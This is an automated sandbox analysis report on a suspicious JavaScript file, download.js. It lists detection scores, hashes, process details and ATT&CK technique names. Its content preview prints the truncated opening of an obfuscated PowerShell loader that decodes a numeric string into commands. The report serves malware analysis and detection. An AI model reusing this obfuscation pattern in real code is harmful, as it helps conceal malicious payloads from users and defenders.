Windows
Analysis Report
download.js
Overview
General Information
Detection
Score: | 22 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 80% |
Signatures
Classification
- System is w10x64
- wscript.exe (PID: 7404 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\downl oad.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
- cleanup
System Summary |
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Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Michael Haag: |
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Source: | Classification label: |
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Source: | Key value queried: | Jump to behavior |
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior |
Source: | Window found: | Jump to behavior |
Source: | Thread injection, dropped files, key value created, disk infection and DNS query: |
Source: | Thread injection, dropped files, key value created, disk infection and DNS query: |
Source: | Key value queried: | Jump to behavior |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
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Gather Victim Identity Information | 2 Scripting | Valid Accounts | Windows Management Instrumentation | 2 Scripting | 1 DLL Side-Loading | 1 DLL Side-Loading | OS Credential Dumping | 2 System Information Discovery | Remote Services | Data from Local System | Data Obfuscation | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
Credentials | Domains | Default Accounts | Scheduled Task/Job | 1 DLL Side-Loading | Boot or Logon Initialization Scripts | 1 Obfuscated Files or Information | LSASS Memory | Application Window Discovery | Remote Desktop Protocol | Data from Removable Media | Junk Data | Exfiltration Over Bluetooth | Network Denial of Service |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
8% | ReversingLabs | Win32.Trojan.Generic |
Joe Sandbox version: | 41.0.0 Charoite |
Analysis ID: | 1559082 |
Start date and time: | 2024-11-20 06:58:19 +01:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 2m 4s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 3 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
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Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | download.js |
Detection: | SUS |
Classification: | sus22.winJS@1/0@0/0 |
EGA Information: | Failed |
HCA Information: |
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Cookbook Comments: |
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- Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
- Excluded domains from analysis (whitelisted): slscr.update.microsoft.com
- VT rate limit hit for: download.js
File type: | |
Entropy (8bit): | 6.0567661116192975 |
TrID: | |
File name: | download.js |
File size: | 20'635 bytes |
MD5: | 7f16b7d60038083c561ff299c1c6bba0 |
SHA1: | a54454390875024cdfa20f2b7ff09775ed05aa4a |
SHA256: | 1e2f3f3be9eda8c98dbe2fbf903fa9185b9b1612553be334a87985223cd07b02 |
SHA512: | efcf0889f5b8786ad4d690e9d9dc8aadff7c9b905f02b5866741c1081b66df1ad5b9dc069d0b529df51effe859e0a5a7950dba7f7ffec1e4e9b3e7bd0ea746d9 |
SSDEEP: | 384:2GodVbU43mNQTL9Rmbq8se0nI0jXqFAlLObetSOiRiye2JwzQ5HPeq6eL:2Gu0q8QXqmlLO+NisquQ5HL |
TLSH: | B7928D857BCCE8D146C4CC9D86471D087A5598BDD027FFC5BBAADA8137477429F09D80 |
File Content Preview: | $lkcqxwrs=$executioncontext;$isenalalarbeinonaterreer = -join (0..54 | ForEach-Object {[char]([int]('1011001050981041021041031030981040960971031001041021041040971021041031001030981040' + '9610309810409710410309710309910210410410410310409810409610210410410 |
Icon Hash: | 68d69b8bb6aa9a86 |
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Target ID: | 0 |
Start time: | 00:59:22 |
Start date: | 20/11/2024 |
Path: | C:\Windows\System32\wscript.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff7da680000 |
File size: | 170'496 bytes |
MD5 hash: | A47CBE969EA935BDD3AB568BB126BC80 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |